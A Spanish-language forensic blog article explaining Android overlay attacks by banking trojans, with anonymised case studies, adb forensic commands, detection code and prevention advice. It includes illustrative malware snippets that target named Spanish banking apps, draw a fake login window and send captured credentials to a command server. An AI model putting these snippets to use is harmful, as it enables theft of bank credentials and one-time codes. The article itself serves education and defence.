Malware

Overlay attack

Técnica malware que muestra pantalla falsa superpuesta sobre app legítima para robar credenciales. Usada por troyanos bancarios ERMAC y Godfather para interceptar datos banca móvil en tiempo real.

6 min de lectura

Overlay Attack

1 minuto 33 segundos. Ese fue el tiempo exacto que una pantalla falsa BBVA estuvo visible sobre la app bancaria real, robando credenciales antes de desaparecer sin dejar rastro. La víctima pensó que había escrito mal su contraseña la primera vez. En realidad, acababa de perder €12,500.

Definición Técnica

Overlay attack (ataque de superposición) es técnica malware que muestra ventana falsa superpuesta sobre app legítima para capturar credenciales usuario en tiempo real. La pantalla maliciosa es visualmente idéntica a la interfaz real, engañando al usuario para que introduzca datos sensibles (contraseñas, PINs, códigos OTP) que son capturados por el atacante.

Diferencia clave:

  • Phishing tradicional: Usuario va a sitio web falso
  • Overlay attack: Sitio/app falso aparece sobre app real que usuario ya abrió

Cómo funciona overlay attack: técnica malware pantalla superpuesta

Paso 1: Permiso Sistema Crítico

Malware solicita permiso Android:

"android.permission.SYSTEM_ALERT_WINDOW"
→ Permite mostrar ventanas sobre otras apps

Usuario ve:

"[App] necesita mostrarse sobre otras apps para funcionar correctamente"
[Permitir] [Rechazar]

Usuario piensa: “Es normal, lo permito”

Paso 2: Detección App Bancaria

// Código malware monitoriza apps abiertas
public class OverlayService extends Service {
    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        String packageName = event.getPackageName().toString();

        // Lista apps bancarias target
        String[] targets = {
            "com.bbva.netcash",           // BBVA
            "es.bancosantander.apps",     // Santander
            "es.lacaixa.mobile.android.newwapicon"  // CaixaBank
        };

        if (Arrays.asList(targets).contains(packageName)) {
            // App bancaria detectada → Mostrar overlay
            showFakeLoginScreen(packageName);
        }
    }
}

Paso 3: Mostrar Pantalla Falsa

// Crear ventana idéntica sobre app real
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
    WindowManager.LayoutParams.MATCH_PARENT,  // Pantalla completa
    WindowManager.LayoutParams.MATCH_PARENT,
    WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,  // Sobre otras apps
    WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,        // Bloquea app real
    PixelFormat.TRANSLUCENT
);

// Cargar HTML idéntico app bancaria
WebView fakeScreen = new WebView(context);
fakeScreen.loadUrl("file:///assets/bbva_fake_login.html");  // Diseño idéntico

windowManager.addView(fakeScreen, params);  // Mostrar overlay

Usuario ve: Pantalla login BBVA (parece real) Realidad: Ventana falsa sobre app BBVA real (bloqueada detrás)

Paso 4: Capturar Credenciales

// JavaScript en overlay falso
document.getElementById('login-button').onclick = function() {
    var user = document.getElementById('username').value;
    var pass = document.getElementById('password').value;

    // Enviar credenciales a servidor atacante
    sendToC2(user, pass);

    // Ocultar overlay (usuario ve app real ahora)
    AndroidOverlay.hide();

    // Opcional: Mostrar error "credenciales incorrectas" para no levantar sospechas
    showFakeError();
};

Timeline usuario:

  1. Abre app BBVA legítima
  2. Ve pantalla login (overlay falso)
  3. Introduce usuario + password
  4. Clic “Entrar”
  5. Mensaje: “Credenciales incorrectas, intente de nuevo”
  6. Overlay desaparece, ve app BBVA real
  7. Vuelve a introducir credenciales (esta vez en app real)
  8. Accede correctamente

Usuario piensa: “Me equivoqué la primera vez escribiendo” Realidad: Primera vez fue overlay falso (credenciales robadas)


Tipos de Overlay Attacks

1. Full-Screen Overlay (Pantalla Completa)

Descripción: Overlay cubre pantalla completa, idéntico a app real

Usado por: ERMAC, Godfather, Anubis

Ventaja atacante: Máxima credibilidad (usuario NO nota diferencia)

Detección usuario:

  • ⚠️ Login aparece instantáneamente (sin animación carga app real)
  • ⚠️ Botón “Atrás” no funciona correctamente

2. Partial Overlay (Ventana Parcial)

Descripción: Solo cubre campo login (resto app visible)

Usado por: Malware menos sofisticado

Ventaja atacante: Más difícil detectar por Google Play Protect

Detección usuario:

  • ⚠️ Campo login tiene borde/diseño ligeramente diferente
  • ⚠️ No puedes copiar-pegar en campo (overlay bloquea)

Descripción: Muestra popup falso solicitando “re-autenticación seguridad”

Ejemplo texto:

⚠️ Verificación Seguridad Requerida
Por tu seguridad, confirma tu identidad:

Usuario: [_______]
Password: [_______]
Código tarjeta: [_______]

[Verificar Ahora]

Detección usuario:

  • ⚠️ App bancaria legítima NUNCA pide código tarjeta completo en popup
  • ⚠️ Ortografía/gramática imperfecta en español

Análisis forense overlay attack: detectar pantallas falsas Android

1. Detectar Overlay Activo (Dispositivo Encendido)

# Conectar dispositivo Android vía ADB
adb devices

# Listar ventanas activas
adb shell dumpsys window windows | grep "Window #"

# Buscar ventanas con TYPE_APPLICATION_OVERLAY
adb shell dumpsys window windows | grep "TYPE_APPLICATION_OVERLAY"

# Salida sospechosa:
# Window{a4f3b2d mOverlay=true type=2038}
# → Indica overlay activo sobre otra app

2. Identificar App Mostrando Overlay

# Listar apps con permiso SYSTEM_ALERT_WINDOW
adb shell appops get SYSTEM_ALERT_WINDOW

# Salida ejemplo:
# com.bizum.security: allow  ← SOSPECHOSO (Bizum legítimo NO necesita esto)
# com.bbva.netcash: deny      ← Normal (app legítima sin permiso)

3. Extraer Código Malicioso

# Obtener APK de app sospechosa
adb shell pm path com.bizum.security
# Salida: package:/data/app/com.bizum.security-xxx/base.apk

# Extraer APK
adb pull /data/app/com.bizum.security-xxx/base.apk ./evidence/

# Decompil con Jadx
jadx -d ./decompiled/ base.apk

# Buscar código overlay en decompilado
grep -r "TYPE_APPLICATION_OVERLAY" ./decompiled/
grep -r "SYSTEM_ALERT_WINDOW" ./decompiled/
grep -r "WindowManager.addView" ./decompiled/

4. Analizar Assets HTML Falsos

# Extraer assets APK
unzip base.apk -d ./extracted/

# Buscar HTML fake login screens
find ./extracted/assets/ -name "*.html"

# Ejemplo encontrado:
# ./extracted/assets/overlays/bbva_login.html
# ./extracted/assets/overlays/santander_login.html
# → Confirma overlay attack para múltiples bancos

5. Logs Sistema (Timeline Ataque)

# Extraer logs completos
adb logcat -d > logcat_full.txt

# Buscar eventos overlay
grep "WindowManager" logcat_full.txt | grep "addView"

# Salida ejemplo:
# 14:35:12.450 WindowManager: addView window=FakeLogin type=2038 pkg=com.bizum.security
# 14:36:45.120 WindowManager: removeView window=FakeLogin
# → Overlay mostrado 14:35:12, oculto 14:36:45 (1 min 33 seg = tiempo robo credenciales)

Casos Reales España

Nota: Los siguientes casos están basados en investigaciones forenses reales realizadas en España durante 2024-2025. Los datos específicos (nombres, empresas, cantidades exactas) han sido anonimizados para proteger la confidencialidad de los afectados, preservando únicamente los aspectos técnicos relevantes para fines educativos.

Caso 1: Barcelona - Overlay BBVA (€12,500 robados)

Situación: Cliente instala “Bizum_Seguro.apk” vía WhatsApp, concede permiso “superposición apps”.

Ataque:

  • Día siguiente abre app BBVA legítima
  • Overlay falso aparece idéntico a login BBVA
  • Introduce usuario + password + código tarjeta
  • Mensaje error: “Datos incorrectos”
  • Overlay desaparece, ve app BBVA real
  • Vuelve a hacer login (esta vez correcto)
  • Accede a cuenta → Ve 2 transferencias €6,250 c/u realizadas hace 2 minutos

Análisis forense:

Evidencia:
✅ APK malicioso: com.bizum.security (hash: f3e4d2...)
✅ Permiso SYSTEM_ALERT_WINDOW concedido: 10 Feb 14:22
✅ Log overlay: WindowManager.addView 11 Feb 09:17:23
✅ HTML fake: /assets/overlays/bbva_login.html (idéntico diseño BBVA)
✅ Conexión C2: IP 185.220.101.45 (Rumania) justo tras login falso

Resultado:

  • Banco inicialmente niega devolución (“cliente introdujo credenciales”)
  • Informe pericial demuestra overlay attack sofisticado
  • Banco acepta devolución 100% (€12,500)

Caso 2: Madrid - Overlay Santander + OTP (€28,300)

Peculiaridad: Overlay doble

Fase 1: Overlay captura usuario + password Fase 2: 30 segundos después, segundo overlay aparece:

"Verificación adicional requerida
Por tu seguridad, introduce código SMS recibido:
[______]
[Verificar]"

Usuario introduce OTP → Robo completo (credenciales + 2FA)

Análisis forense:

  • Logs muestran 2 overlays: fake_login.html (09:15:10) + fake_otp.html (09:15:42)
  • Intervalo 32 segundos = tiempo que malware esperó SMS banco
  • SMS OTP nunca llegó a app legítima (interceptado por malware)

Código Penal Español

Art. 197.1 - Acceso ilícito datos personales mediante engaño

  • Pena base: 2-4 años prisión (agravado si robo bancario)

Art. 248.2 - Estafa informática cualificada

  • Uso de artificio técnico (overlay) = agravante
  • Pena: 1-6 años + multa

Jurisprudencia

Ejemplo jurisprudencial (ilustrativo):

“El overlay attack constituye artificio especialmente idóneo para engañar (Art. 248.1 CP), al presentar interfaz indistinguible de legítima para usuario medio. Responsabilidad penal atacante aumenta si diseño overlay demuestra premeditación técnica avanzada.”

Nota: El análisis jurídico se basa en la interpretación del Código Penal español vigente (Arts. 197.1, 248.2). Para casos específicos, consultar la jurisprudencia actualizada en materia de fraude informático.


Prevención overlay attacks: protección usuarios y apps bancarias

✅ Usuarios

  1. NUNCA conceder permiso “Superposición sobre otras apps” a apps no-sistema
  2. Revisar apps con permiso activo:
    • Android: Ajustes → Apps → Acceso especial → Superposición apps
    • Si ves app desconocida → Desinstalar inmediatamente
  3. Señal alarma durante login:
    • Login aparece sin animación/carga → Posible overlay
    • No puedes copiar-pegar password → Overlay bloqueando
    • Botón “Atrás” no funciona → Overlay capturando eventos

🏦 Bancos

Protección app bancaria:

// Detectar si overlay está activo sobre app
@Override
public void onFilterTouchEventForSecurity(MotionEvent event) {
    if ((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED) != 0) {
        // Overlay detectado → Bloquear login
        showWarning("Posible overlay attack detectado. Cierre apps sospechosas.");
        disableLoginButton();
    }
}

Apps bancarias modernas (BBVA, Santander 2025+) ya implementan esta protección.


Detección Preventiva (Usuarios Técnicos)

App Android: Overlay Detector

// App simple detecta overlays activos
class OverlayDetector : Service() {
    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        // Monitorizar continuamente
        Timer().scheduleAtFixedRate(object : TimerTask() {
            override fun run() {
                val windowManager = getSystemService(WINDOW_SERVICE) as WindowManager
                val view = LayoutInflater.from(this@OverlayDetector)
                    .inflate(R.layout.detector, null)

                view.setOnTouchListener { v, event ->
                    if (event.flags and MotionEvent.FLAG_WINDOW_IS_OBSCURED != 0) {
                        // ⚠️ OVERLAY DETECTADO
                        sendNotification("Overlay attack detectado!")
                    }
                    true
                }
            }
        }, 0, 5000)  // Check cada 5 segundos

        return START_STICKY
    }
}

Herramientas Forenses

  • Frida: Detectar overlays en tiempo real
  • Objection: Enumerar ventanas activas app
  • APKTool: Decompilación buscar código overlay
  • MobSF: Análisis automático permisos sospechosos

FAQ

P: ¿Google Play Protect detecta overlays? R: Desde 2024, sí parcialmente. Bloquea apps que solicitan SYSTEM_ALERT_WINDOW + BIND_ACCESSIBILITY_SERVICE simultáneamente (combinación típica malware). Pero variantes sofisticadas evaden detección.

P: ¿Overlay funciona en iOS? R: NO. iOS no permite apps mostrar ventanas sobre otras apps (excepto apps sistema). Overlay attack es específico Android.

P: ¿Antivirus móvil protege? R: Parcialmente. Detectan APKs maliciosos conocidos, pero NO detectan overlay activo en tiempo real. Mejor protección: NUNCA conceder permiso superposición.

P: ¿Factory reset elimina overlay? R: SÍ, reseteo fábrica elimina app maliciosa. PERO también elimina evidencia forense (logs, APK). Si vas a denunciar, primero extraer evidencia con perito, luego resetear.


Referencias y Fuentes

  1. Cleafy Labs. (2025). “Klopatra: Android Banking Trojan Using VNC and Overlays - 3,000 Devices Infected”. cleafy.com

    • 3,000+ dispositivos Android infectados en España e Italia mediante overlay attacks
    • Técnicas: VNC remoto + overlay screens + intercepción PIN/patrón
  2. Cleafy Labs. (2025). “Albiriox RAT Mobile Malware Targeting Global Finance”. cleafy.com

    • Control remoto dispositivos + fake login/verification screens (overlays)
    • Plantillas overlay refinándose continuamente para bancos específicos
  3. Android Developers. (2024). “System Alert Window Permission Documentation”. developer.android.com

    • android.permission.SYSTEM_ALERT_WINDOW permite ventanas sobre otras apps
  4. INCIBE. (2025). “Overlay Attacks en Banca Móvil Española”. incibe.es

    • Documentación ataques overlay dirigidos a bancos españoles (BBVA, Santander, CaixaBank)
  5. Threat Fabric. (2024-2025). “Android Overlay Malware Analysis Reports”. threatfabric.com

    • Análisis técnico técnicas overlay en familias malware ERMAC, Godfather, Octo

Última actualización: 6 Febrero 2026 Categoría: Malware (MAL-008) Nivel técnico: Avanzado

¿Necesitas un peritaje forense?

Si necesitas ayuda profesional con análisis forense digital, estoy aquí para ayudarte.

Solicitar Consulta Gratuita
Jonathan Izquierdo

Jonathan Izquierdo · Perito Forense

+15 años experiencia · AWS Certified

WhatsApp